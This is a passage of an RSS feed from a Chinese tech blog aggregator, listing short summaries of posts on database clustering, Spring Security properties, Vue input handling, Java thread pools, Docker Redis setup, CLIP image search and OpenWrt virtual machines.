      <description>集群术语须知 服务硬件：指提供计算服务的硬件，比如 PC 机、PC 服务器。服务实体：服务实体通常指服务软体和服务硬体。节点（NODE）：运行 Heartbeat 进程的一个独立主机称为节点，节点是 HA 的核心组成部分，每个节点上运行着操作系统和Heartbeat 软件服务。资源（RESOURCE）：资源是一个节点可以控制的实体，当节点发生故障时，这些资源能够被其他节点接管。如： 磁盘分区、文件系统、IP 地址、应用程序服务、共享存储。事件（EVENT）：事件也就是集群中可能发生的事情，例如节点系统故障、网络连通故障、网卡故障和应用程序故障等。这些事件都会导致节点的资源发生转移，HA 的测试也是基于这些事件进行的。 什么是集群 集群（cluster）就是一组计算机，它们作为一个整体向用户提供一组网络资源，这些单个的计算机系统就是集群的节点（node）。集群提供了以下关键的特性。&#xA;可扩展性。集群的性能不限于单一的服务实体，新的服务实体可以动态的加入到集群，从而增强集群的性能。高可用性。集群通过服务实体冗余使客户端免于轻易遭遇到“out of service”警告。当一台节点服务器发生故障的时候，这台服务器上所运行的应用程序将在另一节点服务器上被自动接管。消除单点故障对于增强数据可用性、可达性和可靠性是非常重要的。负载均衡。负载均衡能把任务比较均匀的分布到集群环境下的计算和网络资源，以便提高数据吞吐量。错误恢复。如果集群中的某一台服务器由于故障或者维护需要而无法使用，资源和应用程序将转移到可用的集群节点上。这种由于某个节点中的资源不能工作，另一个可用节点中的资源能够透明的接管并继续完成任务的过程叫做错误恢复。 分布式与集群的联系与区别如下：&#xA;分布式是指将不同的业务分布在不同的地方。而集群指的是将几台服务器集中在一起，实现同一业务。分布式的每一个节点，都可以做集群，而集群并不一定就是分布式的。而分布式，从狭义上理解，也与集群差不多，但是它的组织比较松散，不像集群，有一定组织性，一台服务器宕了，其他的服务器可以顶上来。分布式的每一个节点，都完成不同的业务，一个节点宕了，这个业务就不可访问了。 集群主要分成三大类：&#xA;HA：高可用集群（High Availability Cluster）。LBC：负载均衡集群/负载均衡系统（Load Balance Cluster）HPC：科学计算集群（High Performance Computing Cluster）/高性能计算（High Performance Computing）集群。 为什么搭建数据库集群 随着经济的高速发展，企业规模的迅猛扩张，企业用户的数量、数据量的爆炸式增长，对数据库提出了严峻的考验。对于所有的数据库而言，除了记录正确的处理结果之外，还面临着以下几方面的挑战。&#xA;如何提高处理速度，实现数据库的均衡负载。如何保证数据库的可用性、数据安全性、以及如何实现数据集群可扩性。怎么综合解决这些问题成为众多企业关注的焦点。 在数据库上，组建集群也是同样的道理，主要有以下几个原因：&#xA;伴随着企业的成长，业务量提高，数据库的访问量和数据量快速增长，其处理能力和计算速度也相应增大，使得单一的设备根本无法承担。在以上情况下，若扔掉现有设备，做大量的硬件升级，势必造成现有资源的浪费，而且下一次业务量提升时，又将面临再一次硬件升级的高额投入。于是，人们希望通过几个中小型服务器组建集群，实现数据库的负载均衡及持续扩展；在需要更高数据库处理速度时，只要简单的增加数据库服务器就可以得到扩展。数据库作为信息系统的核心，起着非常重要的作用，单一设备根本无法保证系统的下持续运行，若发生系统故障，将严重影响系统的正常运行，甚至带来巨大的经济损失。于是，人们希望通过组建数据库集群，实现数据库的高可用，当某节点发生故障时，系统会自动检测并转移故障节点的应用，保证数据库的持续工作。企业的数据库保存着企业的重要信息，一些核心数据甚至关系着企业的命脉，单一设备根本无法保证数据库的安全性，一旦发生丢失，很难再找回来。于是，人们希望通过组建数据库集群，实现数据集的冗余，通过备份数据来保证安全性。 数据库集群的分类 数据库集群技术是将多台服务器联合起来组成集群来实现综合性能优于单个大型服务器的技术，这种技术不但能满足应用的需要，而且大幅度的节约了投资成本。数据库集群技术分属两类体系：基于数据库引擎的集群技术和基于数据库网关（中间件）的集群技术。在数据库集群产品方面，其中主要包括基于数据库引擎的集群技术的 Oracle RAC、Microsoft MSCS、IBM DB2UDB、Sybase ASE，以及基于数据库网关（中间件）的集群技术的 ICX-UDS 等产品。&#xA;一般来讲，数据库集群软件侧重的方向和试图解决的问题划分为三大类：&#xA;负载均衡集群（LOAD BALANCE CLUSTER，LBC）侧重于数据库的横向扩展，提升数据库的性能。高可用性集群（HIGH AVAILABILITY CLUSTER，HAC）侧重保证数据库应用持续不断。大部分的数据库集群侧重与此。高安全性集群（HIGH SECURITY CLUSTER，HSC）侧重于容灾。 只有 ORACLE RAC 能实现以上三方面&#xA;可扩展的分布式数据库架构 ORACLE RAC 其架构的最大特点是共享存储架构（SHARED-STORAGE），整个 RAC 集群是建立在一个共享的存储设备之上的，节点之间采用高速网络互联。OracleRAC 提供了非常好的高可用特性，比如负载均衡和应用透明切块（TAF），其最大的优势在于对应用完全透明，应用无需修改便可切换到RAC 集群。但是RAC 的可扩展能力有限，首先因为整个集群都依赖于底层的共享存储，所以共享存储的 I/O 能力和可用性决定了整个集群的可以提供的能力，对于 I/O 密集型的应用，这样的机制决定后续扩容只能是 Scale up（向上扩展）类型，对于硬件成本、开发人员的要求、维护成本都相对比较高。Oracle显然也意识到了这个问题，在 Oracle 的 MAA（Maximum Availability Architecture）架构中，采用 ASM 来整合多个存储设备的能力，使得 RAC 底层的共享存储设备具备线性扩展的能力，整个集群不再依赖于大型存储的处理能力和可用性。</description>
    </item>
    <item>
      <title>SpringBoot配置属性之Security</title>
      <link>https://bchobby.github.io/posts/cc305e9077001de4edb2081003cab6a1/</link>
      <pubDate>Wed, 13 Jul 2022 11:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc305e9077001de4edb2081003cab6a1/</guid>
      <description>spring security是springboot支持的权限控制系统。 security.basic.authorize-mode 要使用权限控制模式. security.basic.enabled 是否开启基本的鉴权，默认为true security.basic.path 需要鉴权的path，多个的话以逗号分隔，默认为[/**] security.basic.realm HTTP basic realm 的名字，默认为Spring security.enable-csrf 是否开启cross-site request forgery校验，默认为false. security.filter-order Security filter chain的order，默认为0 security.headers.cache 是否开启http头部的cache控制，默认为false. security.headers.content-type 是否开启X-Content-Type-Options头部，默认为false. security.headers.frame 是否开启X-Frame-Options头部，默认为false. security.headers.hsts 指定HTTP Strict Transport Security (HSTS)模式(none, domain, all). security.headers.xss 是否开启cross-site scripting (XSS) 保护，默认为false. security.ignored 指定不鉴权的路径，多个的话以逗号分隔. security.oauth2.client.access-token-uri 指定获取access token的URI. security.oauth2.client.access-token-validity-seconds 指定access token失效时长. security.oauth2.client.additional-information.[key] 设定要添加的额外信息. security.oauth2.client.authentication-scheme 指定传输不记名令牌(bearer token)的方式(form, header, none,query)，默认为header security.oauth2.client.authorities 指定授予客户端的权限. security.oauth2.client.authorized-grant-types 指定客户端允许的grant types. security.oauth2.client.auto-approve-scopes 对客户端自动授权的scope. security.oauth2.client.client-authentication-scheme 传输authentication credentials的方式(form, header, none, query)，默认为header方式 security.oauth2.client.client-id 指定OAuth2 client ID.</description>
    </item>
    <item>
      <title>如何判断BIOS设置是否开启CPU虚拟化功能？</title>
      <link>https://bchobby.github.io/posts/86aef0806a4baf9b8d6378f9b7715cb0/</link>
      <pubDate>Wed, 13 Jul 2022 11:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86aef0806a4baf9b8d6378f9b7715cb0/</guid>
      <description>打开“任务管理器“，进入任务管理器快捷方式【 Ctrl+Shift+Esc】或者【Ctrl+Alt+Delete】&#xA;找到“性能”选项卡，看CPU的虚拟化是“已启用” 还是 “已禁用”。参见下图：&#xA;若看到“虚拟化：已启用”，说明开启CPU虚拟化功能。&#xA;若看到“虚拟化：已禁用”，说明未开启CPU虚拟化功能，需要进入BIOS设置，以联想的笔记本为例，进入BIOS按键是F2，进入后按左右键选择configuration，找到 Intel Virtual Technology（Intel虚拟化技术），确认为enable。&#xA;END</description>
    </item>
    <item>
      <title>word中选中所有拼音</title>
      <link>https://bchobby.github.io/posts/8610076ae85b4c906750eb5f6cbbd7c9/</link>
      <pubDate>Wed, 13 Jul 2022 10:21:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8610076ae85b4c906750eb5f6cbbd7c9/</guid>
      <description> Ctrl + f 查找 查找内容 填 ^$ 点击 高级搜索 只选中 区分全/半角 在以下范围中查找 选中 主文档 </description>
    </item>
    <item>
      <title>vue实现input禁止粘贴</title>
      <link>https://bchobby.github.io/posts/76230d3d015397bf7e6ffab1856afda6/</link>
      <pubDate>Wed, 13 Jul 2022 10:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76230d3d015397bf7e6ffab1856afda6/</guid>
      <description>需求: 阻止element组件中的复制粘贴功能&#xA;实现思路: 组件是由外层&#xA;和内层的组成的, 根据浏览器的事件传递机制(先捕获,后冒泡): 粘贴的时候会先执行绑定在外层div上的paste事件捕获方法, 然后再到内层的input, 因此可以在组件上捕获监听paste事件, 并阻止向下传播即可&#xA;&amp;lt;el-input v-model=&#34;list.content&#34; type=&#34;textarea&#34; :disabled=&#34;true&#34; @paste.native.capture.prevent=&#34;handleFalse&#34; @copy.native.capture.prevent=&#34;handleFalse&#34; @cut.native.capture.prevent=&#34;handleFalse&#34; :rows=&#34;60&#34; autosize &amp;gt;&amp;lt;/el-input&amp;gt; methods: { handleFalse() { // 终止 return false; } } 事件修饰符说明:&#xA;native: 表明这个是dom的原生事件,如果不加native, vue会认为paste是一个自定义事件,必须要在组件内手动触发, 那么在粘贴的时候自然就不会触发了&#xA;capture: 表明这个方法在捕获阶段执行,默认为冒泡执行,参考addEventListener方法中的useCapture参数&#xA;prevent: 相当于event.preventDefault阻止默认行为, 同时也会阻止事件的向下传递和向上冒泡</description>
    </item>
    <item>
      <title>MFC 使用控制台打印程序信息</title>
      <link>https://bchobby.github.io/posts/732c3fab07634825fc0137ce22fbeede/</link>
      <pubDate>Wed, 13 Jul 2022 08:39:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/732c3fab07634825fc0137ce22fbeede/</guid>
      <description>在MFC编程中，代码的调试一直不太直观。搞一个 MessageBox 来打印信息查看程序是否执行或执行是否有误，又或者是在程序中设断点都有不太方便的地方，特别是在需要获得多个信息的情况下更是不便。此外，MessageBox 在涉及到打印非 CString 格式的信息时还要用 CString 的 Format 函数进行格式转换，又给调试带来进一步的麻烦。综上，在MFC程序的调试阶段加入像WIN32控制台程序那样的控制台来打印程序信息显得直观又方便易用。下面，是在MFC程序中添加控制台程序的方法：&#xA;在对话框程序的初始化函数OnInitDialog()中(如果不是对话框程序，或者希望在子对话框中加入，只需将代码添加到相应的入口位置即可)加入如下代码：&#xA;::AllocConsole();//打开控件台资源 FILE *fp; freopen_s(&amp;amp;fp,&#34;CONOUT$&#34;, &#34;w+t&#34;, stdout);//申请写，这个是针对VS2013版本的代码，在VS较为早期的版本比如VS2008中，可将freopen_s改为freopen，并将参数改为对应形式即可 到此，程序在运行时就会打开一个控制台窗口等待输入，只要在程序中加入 printf(“,”) 则可在控制台中打印出信息。&#xA;最后，要记得在程序关闭的地方调用如下函数关闭掉控制台程序，不然会导致程序无法正常关闭的悲剧。&#xA;本人是在对话框程序的 WM_CLOSE 消息响应函数中添加的：&#xA;FreeConsole();//释放控制台资源 注意：生成的exe程序打开时也会自动打开控制台，发行程序时要记得把打开和关闭控制台的代码都注释掉&#xA;当然，MFC本身也集成了相应的宏&#34;TRACE&#34;来实现这个功能。示例如下：&#xA;TRACE(&#34;x = %d and y = %x and z = %f\n&#34;, 1, 2, 3); 优点就是可以直接打印信息，缺点则是打印出来的东西在&#34;输出窗口&#34;中，感觉总没有控制台那么好。</description>
    </item>
    <item>
      <title>线程池ThreadPoolExecutor详解（整理详细）</title>
      <link>https://bchobby.github.io/posts/f5e1a0210557804ad7b81b403fe6dd6c/</link>
      <pubDate>Tue, 12 Jul 2022 17:28:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5e1a0210557804ad7b81b403fe6dd6c/</guid>
      <description>1.什么是线程池？&#xA;（首先要理解什么是线程）&#xA;线程池，thread pool，是一种线程使用模式，线程池维护着多个线程，等待着监督管理者分配可并发执行的任务。&#xA;通俗来说，就是为了优化线程的内存开销。 2.为什么使用线程池？&#xA;为了减少创建和销毁线程的次数，让每个线程都可以多次的使用，可以根据系统情况调整线程的数量，防止消耗过多内存。在实际使用中，服务器在创建和销毁线程上花费的时间和消耗的系统资源都相当大，使用线程池就可以优化。&#xA;线程池主要用来解决线程生命周期开销问题和资源不足问题。通过对多个任务重复使用线程，线程创建的开销就被分摊到了多个任务上了，而且由于在请求到达时线程已经存在，所以消除了线程创建所带来的延迟。这样，就可以立即为请求服务，使用应用程序响应更快。另外，通过适当的调整线程中的线程数目可以防止出现资源不足的情况。&#xA;通俗来说，就是为了优化线程的内存开销。&#xA;3.线程池的核心参数&#xA;public ThreadPoolExecutor(int corePoolSize,//核心线程数 int maximumPoolSize,//最大线程数 long keepAliveTime,//线程空闲时间 TimeUnit unit,//时间单位 BlockingQueue&amp;lt;Runnable&amp;gt; workQueue,//任务队列 ThreadFactory threadFactory,//线程工厂 RejectedExecutionHandler handler//拒绝策略) { ... } 4.线程池的执行顺序&#xA;线程池按以下行为执行任务&#xA;当线程数小于核心线程数时，创建线程。当线程数大于等于核心线程数，且任务队列未满时，将任务放入任务队列。当线程数大于等于核心线程数，且任务队列已满，若线程数小于最大线程数，创建线程。若线程数等于最大线程数，则执行拒绝策略 5.线程池的参数详解&#xA;corePoolSize 核心线程数，默认为1。&#xA;设置规则：&#xA;CPU密集型(CPU密集型也叫计算密集型，指的是运算较多，cpu占用高，读/写I/O(硬盘/内存)较少)：corePoolSize = CPU核数 + 1&#xA;IO密集型（与cpu密集型相反，系统运作，大部分的状况是CPU在等I/O (硬盘/内存) 的读/写操作，此时CPU Loading并不高。）：corePoolSize = CPU核数 * 2&#xA;maximumPoolSize 最大线程数，默认为Integer.MAX_VALUE&#xA;一般设置为和核心线程数一样&#xA;keepAliveTime 线程空闲时间，默认为60s，一般设置为默认60s&#xA;unit 时间单位，默认为秒&#xA;workQueue 队列，当线程数目超过核心线程数时用于保存任务的队列。（BlockingQueue workQueue）此队列仅保存实现Runnable接口的任务。（因为线程池的底层BlockingQueue的泛型为Runnable）&#xA;无界队列&#xA;队列大小无限制，常用的为无界的LinkedBlockingQueue，使用该队列作为阻塞队列时要尤其当心，当任务耗时较长时可能会导致大量新任务在队列中堆积最终导致OOM。阅读代码发现，Executors.newFixedThreadPool 采用就是 LinkedBlockingQueue，而博主踩到的就是这个坑，当QPS很高，发送数据很大，大量的任务被添加到这个无界LinkedBlockingQueue 中，导致cpu和内存飙升服务器挂掉。&#xA;当然这种队列，maximumPoolSize 的值也就无效了。当每个任务完全独立于其他任务，即任务执行互不影响时，适合于使用无界队列；例如，在 Web 页服务器中。这种排队可用于处理瞬态突发请求，当命令以超过队列所能处理的平均数连续到达时，此策略允许无界线程具有增长的可能性。&#xA;有界队列&#xA;当使用有限的 maximumPoolSizes 时，有界队列有助于防止资源耗尽，但是可能较难调整和控制。常用的有两类，一类是遵循FIFO原则的队列如ArrayBlockingQueue，另一类是优先级队列如PriorityBlockingQueue。PriorityBlockingQueue中的优先级由任务的Comparator决定。</description>
    </item>
    <item>
      <title>5分钟 在Mac下Docker部署redis集群</title>
      <link>https://bchobby.github.io/posts/de7e4033a9ed4e4ac2fb449597e2b81b/</link>
      <pubDate>Tue, 12 Jul 2022 17:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de7e4033a9ed4e4ac2fb449597e2b81b/</guid>
      <description>在自定目录新建文件 redis.conf ，如 /Users/xx/apps/redis/redis.conf将redis.conf的内容设置为： bind 0.0.0.0 daemonize no requirepass 123456 masterauth 123456 cluster-enabled yes cluster-node-timeout 3000 打开终端，输入命令启动容器： docker run -d --name redis-node1 -v /Users/xx/apps/redis/redis.conf:/etc/redis/redis.conf -p 6379:6379 -p 16379:16379 redis --cluster-enabled yes --port 6379 docker run -d --name redis-node2 -v /Users/xx/apps/redis/redis.conf:/etc/redis/redis.conf -p 6380:6380 -p 16380:16380 redis --cluster-enabled yes --port 6380 docker run -d --name redis-node3 -v /Users/xx/apps/redis/redis.conf:/etc/redis/redis.conf -p 6381:6381 -p 16381:16381 redis --cluster-enabled yes --port 6381 ps: 16379、16380、16381端口用于接收心跳数据等操作&#xA;输入命令查看容器启动状况 docker ps -a # 如果出错使用以下命令查看日志 docker logs &amp;lt;容器id&amp;gt; 结果如下：</description>
    </item>
    <item>
      <title>vue3 beforeRouteEnter内调用setup里的方法</title>
      <link>https://bchobby.github.io/posts/b46f4abc3f6d7582344bed4c56797699/</link>
      <pubDate>Tue, 12 Jul 2022 17:00:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b46f4abc3f6d7582344bed4c56797699/</guid>
      <description>在setup方法里return要调用的方法，在beforeRouteEnter里就可以直接调用了</description>
    </item>
    <item>
      <title>从零到一，教你搭建「CLIP 以文搜图」搜索服务（二）：5 分钟实现原型</title>
      <link>https://bchobby.github.io/posts/b7f68b8cb2a1216e6103dc1c98c867dc/</link>
      <pubDate>Tue, 12 Jul 2022 16:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7f68b8cb2a1216e6103dc1c98c867dc/</guid>
      <description>在上一篇文章中，我们了解了关于搜索技术、以文搜图，以及 CLIP 模型的基础知识。本篇我们将花上 5 分钟时间，对这些基础知识进行一次动手实践，快速构建一个「以文搜图」的搜索服务原型。&#xA;Notebook 链接👇&#xA;https://github.com/towhee-io/examples/blob/main/image/text_image_search/1_build_text_image_search_engine.ipynb&#xA;这里我们选取 “搜萌宠” 这个小例子：面对成千上万的萌宠，帮助用户在海量的图片中快速找到心仪的那只猫咪或修勾~&#xA;图片来源：https://www.vetopia.com.hk 话不多说，先看 5 分钟出活儿的成品效果：&#xA;让我们来看看做这样一个原型都需要些什么：&#xA;一个宠物的小型图片库。&#xA;一个能将宠物图片的语义特征编码成向量的数据处理流水线。&#xA;一个能将查询文本的语义特征编码成向量的数据处理流水线。&#xA;一个可以支撑向量近邻搜索的向量数据库。&#xA;一段能将上述所有内容串起来的 python 脚本程序。&#xA;接下来，我们会陆续完成这张图的关键组件，开始干活~&#xA;安装基础工具包 我们用到了以下工具：&#xA;Towhee 用于构建模型推理流水线的框架，对于新手非常友好。&#xA;Faiss 高效的向量近邻搜索库。&#xA;Gradio 轻量级的机器学习 Demo 构建工具。&#xA;创建一个 conda 环境&#xA;conda create -n lovely_pet_retrieval python=3.9 conda activate lovely_pet_retrieval 安装依赖&#xA;pip install towhee gradio conda install -c pytorch faiss-cpu 准备图片库的数据 我们选取 ImageNet 数据集的子集作为本文所使用的 “小型宠物图片库”。首先，下载数据集并解压：&#xA;curl -L -O https://github.com/towhee-io/examples/releases/download/data/pet_small.zip unzip -q -o pet_small.zip 数据集的组织如下：</description>
    </item>
    <item>
      <title>javaweb——Response下载文件</title>
      <link>https://bchobby.github.io/posts/badff4e5e9cb1bdd277f3d8383f5815b/</link>
      <pubDate>Tue, 12 Jul 2022 15:27:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/badff4e5e9cb1bdd277f3d8383f5815b/</guid>
      <description>HttpServletResponse web服务器接收到客户端的http请求，针对这个请求分别创建一个代表请求的HttpServletResponse对象，一个代表响应的HttpServletResponse对象；&#xA;如果要获取客户端请求过来的参数：找HttpServletRequest如果要客户端响应一些信息：找HttpServletResponse 1、简单分类 负责向浏览器发送数据的方法 public ServletOutputStream getOutputStream() throws IOException; public PrintWriter getWriter() throws IOException; 负责向浏览器**发送响应头（encoding…）**的方法 void setCharacterEncoding(String charset); void setContentLength(int len); void setContentLengthLong(long length); void setContentType(String type); void setDateHeader(String name, long date); void addDateHeader(String name, long date); void setHeader(String name, String value); void addHeader(String name, String value); void setIntHeader(String name, int value); void addIntHeader(String name, int value); 响应的状态码 /** * Status code (100) indicating the client can continue. */ public static final int SC_CONTINUE = 100; /** * Status code (101) indicating the server is switching protocols according * to Upgrade header.</description>
    </item>
    <item>
      <title>Jaccard 相似度</title>
      <link>https://bchobby.github.io/posts/14bf412ed2a4c3b90e617652ed05207c/</link>
      <pubDate>Tue, 12 Jul 2022 11:09:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14bf412ed2a4c3b90e617652ed05207c/</guid>
      <description> Jaccard相似系数： Jaccard相似系数（Jaccard similarity coefficient）用于比较有限样本集之间的相似性与差异性。Jaccard系数值越大，样本相似度越高。 主要应用场景： 卡德方法完善了余弦相似性只考虑用户评分而忽略了其他信息量的弊端，特别适合于应用到稀疏度过高的数据 比较文本相似度，用于文本查重与去重；（就是将字符串S, T分别进行分词，用交集中的词语数和并集中的词语数求比） 计算对象间距离，用于数据聚类等。 举例讲： A 用户(香蕉、苹果、鸭梨) B 用户(苹果、橘子、桃子) A∩B=苹果 1 A∪B=香蕉、苹果、鸭梨、橘子、桃子 5 则相似度（Jaccard系数）为1/5=0.2 </description>
    </item>
    <item>
      <title>【Python实现】解析Drugbank文件中的XML</title>
      <link>https://bchobby.github.io/posts/d4500b5516c1248c17b8cd1f1d02bdf7/</link>
      <pubDate>Tue, 12 Jul 2022 10:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4500b5516c1248c17b8cd1f1d02bdf7/</guid>
      <description>目录 1 样例一：xml直接提取2 样例二：xml转json格式3 提取drug-target信息4 参考文献 1 样例一：xml直接提取 在做Drugbank数据处理时，发现的一个能够解决我问题的开源代码：项目地址以及Test文件，都在：&#xA;https://github.com/Deshan-Zhou/deal_DrugBank 但是直接上手处理xml格式的文件，对于xml数据的组织形式不熟悉的同志来讲很头疼，并不能够随心所欲的提取自己想提取的各种关联信息。在样例二中我提供一种能够方便提取数据的方法。&#xA;from xml.sax.handler import ContentHandler from xml.sax import parse import pandas as pd &#34;&#34;&#34; 简写： dbid : DrugBank id dbname : DrugBank name chid : ChEMBL id ptid : protein id &#34;&#34;&#34; class ExtractData(ContentHandler): def __init__(self): #各个简写的映射关系 self.dbid_chid = {} self.dbid_dbname = {} self.dbid_dbid = {} self.dbid_ptid = {} #当前的药物id和遍历区域的限定 self.curr_id = &#34;&#34; self.limit = 0 #可以自动获取遍历到的元素里面的内容，如&amp;lt;ele&amp;gt;content.....&amp;lt;/ele&amp;gt; def characters(self,content): if self.</description>
    </item>
    <item>
      <title>VS设置导出目录</title>
      <link>https://bchobby.github.io/posts/cd222a062b32a2a9953268474d59051e/</link>
      <pubDate>Tue, 12 Jul 2022 07:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd222a062b32a2a9953268474d59051e/</guid>
      <description>打开属性页面&#xA;1、配置属性-&amp;gt;常规-&amp;gt;输出目录&#xA;这里修改的是exe的生成目录&#xA;2、配置属性-&amp;gt;常规-&amp;gt;目标文件名&#xA;这里修改的是exe的名字&#xA;3、配置属性-&amp;gt;调试-&amp;gt;命令&#xA;这里修改的是运行时vs去哪里找exe&#xA;4、配置属性-&amp;gt;调试-&amp;gt;工作目录&#xA;如果你有很多dll感觉太乱，需要放在子目录也许可以试试这个&#xA;5、配置属性-&amp;gt;链接器-&amp;gt;常规-&amp;gt;输出文件&#xA;这里修改的是exe的生成目录，需要加上exe的名字如a.exe&#xA;6、配置属性-&amp;gt;链接器-&amp;gt;调试-&amp;gt;生成程序数据库文件&#xA;这里是pdb文件，没啥用可以改掉，这样生成目录清爽一些&#xA;7、配置属性-&amp;gt;链接器-&amp;gt;高级-&amp;gt;导入库&#xA;这里是lib、exp文件，没啥用可以改掉，这样生成目录清爽一些</description>
    </item>
    <item>
      <title>JavaScript中字符串和Base64的互相转换</title>
      <link>https://bchobby.github.io/posts/9c92ce73f4d9e7eab1c1c1a2c61645c7/</link>
      <pubDate>Mon, 11 Jul 2022 23:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c92ce73f4d9e7eab1c1c1a2c61645c7/</guid>
      <description>前言&#xA;JavaScript中提供了两个函数，用来解析Base64，分别时Btoa和Atob&#xA;一、Btoa() 将字符串或者二进制转换成Base64&#xA;二、Atob() 将Base64转换成原本的编码&#xA;总结 注意Atob()中编码的书写格式不然会报错</description>
    </item>
    <item>
      <title>即刻开启零信任网络之旅，绎云推出永久免费的轻量级零信任网络产品</title>
      <link>https://bchobby.github.io/posts/ea86a1cc58db0bd07cde7834eb1c8b28/</link>
      <pubDate>Mon, 11 Jul 2022 15:32:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea86a1cc58db0bd07cde7834eb1c8b28/</guid>
      <description>绎云推出永久免费的轻量级零信任网络产品——信域安全云网Lite（信域Lite），帮助企业在碎片化的物理网络之上构建一张点对点虚拟网络，用实名制零信任网络重新整合企业分布在各地的网络资源，让远程互联更灵活，管理运维更高效，业务协同更可信，为企业节省网络和安全投入，降低运维成本。&#xA;官网链接：https://www.trustmatrix.com/#/product.html&#xA;微信中看了信域免费版的文章，回答了我的疑问，亲自去体验一把：&#xA;1、登录官网 信域企业注册平台 去注册了帐号：&#xA;2、注册完， 登录成功后，可以看到界面，有免费的组件，提供了下载链接；&#xA;简单了解了一下这个产品的功能和一些约束，不得不说确实挺好：&#xA;3、下载镜像包开始… 文件不小，但是速度还可以哈👍&#xA;4、怎么安装？？？去网站上找了找，发现文档中心里有介绍入门的步骤：&#xA;5、亲自用VMVare虚出来3台机器，准备安装上：&#xA;1）新建虚拟机：&#xA;2）填写名称，选择：兼容性，操作系统系列，操作系统版本；*&#xA;3）选择存储：&#xA;4）自定义设置：&#xA;很重要一点：创建虚拟机的时候，驱动器要选择： 勾选镜像：&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/09ff5e23027143b5a756139f4a8fdd62.png&#xA;吐槽一下：机器的配置不低…：&#xA;5）完成配置：&#xA;6、启动虚拟机，然后开始安装镜像：&#xA;7、安装完镜像：&#xA;等待镜像安装… …：&#xA;几分钟后，安装完成，点击红色OK按钮，或Enter键：&#xA;安装完镜像，重启虚拟机，输入exit，点击enter键：&#xA;8、安装完镜像，开始同步证书License：&#xA;虚拟机重启完，登录：默认用户名：admin，默认密码：b4a5928c（网站文档中有标注写明）&#xA;登录成功后，先得同步License，执行4，点击enter键：&#xA;录入帐号密码（帐号密码是什么？？看截图）：&#xA;等待执行成功：&#xA;同步证书成功后，会收到邮件：&#xA;成功后，可以访问TMC的页面：&#xA;9、访问信域管理控制平台：&#xA;浏览器输入 https://虚拟机物理IP:16000&#xA;输入管理员：sysadmin 和 密码，登录：&#xA;首次登录成功后，强制修改密码，密码强度：大写字母+小写字母+数字+常用特殊符号+长度10位以上：&#xA;配置邮件设置：管理员不清楚的应该联系自己公司的人力部门，或者配置上自己的个人邮箱都是可以的：&#xA;用新密码再次登录 信域管理控制平台：&#xA;10、如何使用信域管理控制平台，请去注册平台查看具体的步骤吧：&#xA;原文链接：https://blog.csdn.net/xilangyuyun/article/details/125679293</description>
    </item>
    <item>
      <title>VMware 虚拟机安装 OpenWrt 作旁路由 单臂路由 img 镜像转 vmdk 旁路由无法上网 没网络</title>
      <link>https://bchobby.github.io/posts/3d700acbab4e45e48e2107175dca3e15/</link>
      <pubDate>Mon, 11 Jul 2022 15:08:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d700acbab4e45e48e2107175dca3e15/</guid>
      <description>重要注意事项 由于布线原因笔记本只能采用无线的方式连接路由器，在Windows10的环境下使用无线网卡桥接，结果软路由无法上网，翻阅了各种帖子最终发现跟系统底层的协议栈有关系，随即放弃使用有线网卡，不能上网等乱七八糟的问题瞬间解决，因此务必提醒各位，千万不要使用无线网卡桥接！！！&#xA;参考文章如下，讲的很详细，可以事先阅读避免踩坑。&#xA;1、 已解决关于vmware搭openwrt旁路由 无线网卡设备无法上网&#xA;2、【终极指南】关于N1做旁路由添加 iptables 自定义防火墙规则的见解&#xA;1. 安装VMware 请自行下载安装 VMware 16.2 及以上版本&#xA;2. img 镜像转 vmdk 格式 下载的 vmdk 格式的系统，请忽略此步下载的 img 格式的系统，请自行下载 StarWind V2V Image Converter 工具将其转换为 vmdk 格式，下载链接如下https://www.starwindsoftware.com/tmplink/starwindconverter.exe 3. 创建 OpenWrt 虚拟机 创建虚拟机&#xA;使用自定义模式&#xA;使用兼容模式&#xA;稍后安装操作系统&#xA;选择Linux操作系统，内核版本根据镜像的内核来决定&#xA;虚拟机命名并选择存储位置&#xA;处理器配置&#xA;内存配置 建议2G起步&#xA;网络配置 旁路由务必选择桥接模式&#xA;I/O设置&#xA;磁盘设置&#xA;选择现有磁盘创建系统，即前面生成的 vmdk 文件&#xA;保持现有格式不变&#xA;自定义硬件 删除无用硬件设备&#xA;4. 配置 OpenWrt 软路由 启动虚拟机&#xA;查看本机网络信息，确定软路由的 IP 地址及网关设置&#xA;修改软路由的 IP 地址及网关&#xA;vi /etc/config/network&#xA;按下 i或者insert键进入编辑模式按下 esc退出编辑模式输入:wq然后回车(保存并退出编辑)</description>
    </item>
    <item>
      <title>echarts社区</title>
      <link>https://bchobby.github.io/posts/1950c0e3004c1730d5c4c354a9f0a0dc/</link>
      <pubDate>Mon, 11 Jul 2022 13:59:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1950c0e3004c1730d5c4c354a9f0a0dc/</guid>
      <description>第一个：&#xA;http://analysis.datains.cn/finance-admin/index.html#/chartLib/all&#xA;第二个&#xA;https://www.makeapie.cn/echarts_component/polar&#xA;第三个&#xA;http://ppchart.com/#/&#xA;第四个&#xA;https://www.isqqw.com/#/homepage&#xA;第五个&#xA;http://192.144.199.210/forum-2-1.html</description>
    </item>
    <item>
      <title>groupby详解</title>
      <link>https://bchobby.github.io/posts/9e1601e75aeb48a40b747d5484da46ed/</link>
      <pubDate>Mon, 11 Jul 2022 13:40:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e1601e75aeb48a40b747d5484da46ed/</guid>
